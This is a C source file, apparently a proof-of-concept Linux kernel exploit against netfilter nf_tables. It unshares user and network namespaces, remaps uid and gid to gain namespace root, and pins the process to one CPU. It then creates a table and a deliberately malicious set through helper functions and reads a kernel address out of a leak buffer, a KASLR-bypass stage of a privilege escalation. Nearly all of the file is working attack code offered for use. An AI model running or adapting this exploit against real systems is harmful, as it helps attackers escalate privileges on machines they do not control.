#define _GNU_SOURCE #include #include #include #include #include #include "helper.h" void write_to_file(const char *which, const char *format, ...) { FILE * fu = fopen(which, "w"); va_list args; va_start(args, format); if (vfprintf(fu, format, args) < 0) { perror("cannot write"); exit(1); } fclose(fu); } static int setup_sandbox(void) { uid_t uid = getuid(); gid_t gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } printf("[+] unshare done\n"); cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { perror("[-] sched_setaffinity"); return -1; } // now we map uid and gid write_to_file("/proc/self/uid_map", "0 %d 1", uid); // deny setgroups (see user_namespaces(7)) write_to_file("/proc/self/setgroups", "deny"); // remap gid write_to_file("/proc/self/gid_map", "0 %d 1", gid); return 0; } int main() { uint64_t kernel_leak = 0; uint32_t family; char * table_name; char * set_name; if (setup_sandbox()) { printf("[-] setup_sandbox() failed"); return -1; } family = NFPROTO_IPV4; table_name = "test_table"; set_name = "test_set"; add_table(family, table_name); add_mal_set(family, table_name, set_name); // leak get_set(family); hexDump("leak_buffer", leak_buffer, 40); kernel_leak = *(uint64_t *)((void *)leak_buffer+0x1c); printf("[+] kernel=0x%016lx\n", kernel_leak); //example_getset(family); return 0; }